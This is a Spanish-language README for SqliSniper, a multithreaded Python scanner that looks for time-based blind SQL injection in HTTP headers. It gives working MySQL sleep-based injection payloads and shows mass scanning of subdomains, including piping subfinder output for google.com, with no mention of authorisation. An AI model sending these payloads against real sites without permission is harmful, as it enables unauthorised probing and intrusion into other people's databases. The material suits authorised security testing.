Características • Instalación • Uso • Ejecutar SqliSniper • Contribuir •

SqliSniper es una herramienta robusta en Python diseñada para detectar inyecciones SQL ciegas basadas en tiempo en cabeceras de solicitudes HTTP. Mejora el proceso de evaluación de seguridad al escanear rápidamente e identificar vulnerabilidades potenciales mediante el uso de múltiples hilos, garantizando velocidad y eficiencia. A diferencia de otros escáneres, SqliSniper está diseñado para eliminar falsos positivos y enviar alertas al detectar, con la funcionalidad integrada de notificaciones de Discord.

Características principales

• Detección de inyección SQL ciega basada en tiempo: Identifica vulnerabilidades potenciales de inyección SQL en cabeceras HTTP.
• Escaneo multi-hilo: Ofrece capacidades de escaneo más rápidas mediante procesamiento concurrente.
• Notificaciones de Discord: Envía alertas a través de un webhook de Discord para las vulnerabilidades detectadas.
• Verificación de falsos positivos: Implementa análisis de tiempo de respuesta para diferenciar entre verdaderos positivos y falsas alarmas.
• Soporte de cargas útiles y cabeceras personalizadas: Permite a los usuarios definir cargas útiles y cabeceras personalizadas para un escaneo dirigido.

Instalación

git clone https://github.com/danialhalo/SqliSniper.git
cd SqliSniper
chmod +x sqlisniper.py
pip3 install -r requirements.txt

Uso

Esto mostrará la ayuda para la herramienta. Aquí están todas las opciones que soporta.

ubuntu:~/sqlisniper$ ./sqlisniper.py -h


███████╗ ██████╗ ██╗     ██╗    ███████╗███╗   ██╗██╗██████╗ ███████╗██████╗
██╔════╝██╔═══██╗██║     ██║    ██╔════╝████╗  ██║██║██╔══██╗██╔════╝██╔══██╗
███████╗██║   ██║██║     ██║    ███████╗██╔██╗ ██║██║██████╔╝█████╗  ██████╔╝
╚════██║██║▄▄ ██║██║     ██║    ╚════██║██║╚██╗██║██║██╔═══╝ ██╔══╝  ██╔══██╗
███████║╚██████╔╝███████╗██║    ███████║██║ ╚████║██║██║     ███████╗██║  ██║
╚══════╝ ╚══▀▀═╝ ╚══════╝╚═╝    ╚══════╝╚═╝  ╚═══╝╚═╝╚═╝     ╚══════╝╚═╝  ╚═╝

                            -: Por Muhammad Danial :-

uso: sqlisniper.py [-h] [-u URL] [-r URLS_FILE] [-p] [--proxy PROXY] [--payload PAYLOAD] [--single-payload SINGLE_PAYLOAD] [--discord DISCORD] [--headers HEADERS]
                     [--threads THREADS]

Detectar inyección SQL enviando consultas maliciosas

opciones:
  -h, --help            muestra este mensaje de ayuda y sale
  -u URL, --url URL     URL única para el objetivo
  -r URLS_FILE, --urls_file URLS_FILE
                        Archivo que contiene una lista de URLs
  -p, --pipeline        Leer desde pipeline
  --proxy PROXY         Proxy para interceptar solicitudes (p.ej., http://127.0.0.1:8080)
  --payload PAYLOAD     Archivo que contiene cargas útiles maliciosas (por defecto payloads.txt)
  --single-payload SINGLE_PAYLOAD
                        Carga útil única para pruebas
  --discord DISCORD     URL del Webhook de Discord
  --headers HEADERS     Archivo que contiene cabeceras (por defecto headers.txt)
  --threads THREADS     Número de hilos

Ejecutar SqliSniper

Escaneo de URL única

La URL se puede proporcionar con la opción -u para escanear un solo sitio

./sqlisniper.py -u http://example.com

Entrada de archivo

La opción -r permite a SqliSniper leer un archivo que contiene múltiples URLs para escaneo simultáneo.

./sqlisniper.py -r url.txt

Canalización de URLs

SqliSniper también funciona con entrada mediante pipeline con la opción -p

cat url.txt | ./sqlisniper.py -p

La funcionalidad de pipeline facilita la integración sin problemas con otras herramientas. Por ejemplo, puede utilizar herramientas como subfinder y httpx, y luego canalizar su salida a SqliSniper para escaneo masivo.

subfinder -silent -d google.com | sort -u | httpx -silent | ./sqlisniper.py -p

Escaneo con cargas útiles personalizadas

Por defecto, SqliSniper utiliza el archivo payloads.txt. Sin embargo, se puede usar la opción --payload para proporcionar un archivo de cargas útiles personalizadas.

./sqlisniper.py -u http://example.com --payload mssql_payloads.txt

Al usar el archivo de cargas útiles personalizadas, asegúrese de reemplazar el tiempo de espera con %__TIME_OUT__%. SqliSniper ajusta dinámicamente el tiempo de espera de forma iterativa para mitigar posibles falsos positivos. El archivo de cargas útiles debe verse así.

ubuntu:~/sqlisniper$ cat payloads.txt 
0\"XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR\"Z
"0"XOR(if(now()=sysdate()%2Csleep(%__TIME_OUT__%)%2C0))XOR"Z"
0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z

Escaneo con una sola carga útil

Si solo desea probar con una única carga útil, puede usar la opción --single-payload. Asegúrese de reemplazar el tiempo de espera con %__TIME_OUT__%

./sqlisniper.py -r url.txt --single-payload "0'XOR(if(now()=sysdate(),sleep(%__TIME_OUT__%),0))XOR'Z"

Escaneo de cabeceras personalizadas

Las cabeceras se guardan en el archivo headers.txt. Para escanear cabeceras personalizadas, guarde la cabecera de solicitud HTTP personalizada en el archivo headers.txt.

ubuntu:~/sqlisniper$ cat headers.txt 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
X-Forwarded-For: 127.0.0.1

Envío de notificaciones de alerta de Discord

SqliSniper también ofrece notificaciones de alerta de Discord, mejorando su funcionalidad al proporcionar alertas en tiempo real a través de webhooks de Discord. Esta función resulta invaluable durante escaneos a gran escala, permitiendo notificaciones rápidas al detectar algo.

./sqlisniper.py -r url.txt --discord <web_hookurl>

Multi-hilo

Los hilos se pueden definir con la opción --threads

 ./sqlisniper.py -r url.txt --threads 10

Nota: Es crucial considerar que emplear un número mayor de hilos puede provocar posibles falsos positivos o pasar por alto problemas válidos. Debido a la naturaleza de la inyección SQL basada en tiempo, se recomienda usar un número menor de hilos para una detección más precisa.

Contribuir

Las contribuciones a SqliSniper siempre son bienvenidas. Ya sea mejoras de funcionalidad, corrección de errores o mejoras en la documentación, cualquier ayuda es apreciada.

Licencia

SqliSniper se distribuye bajo la Licencia MIT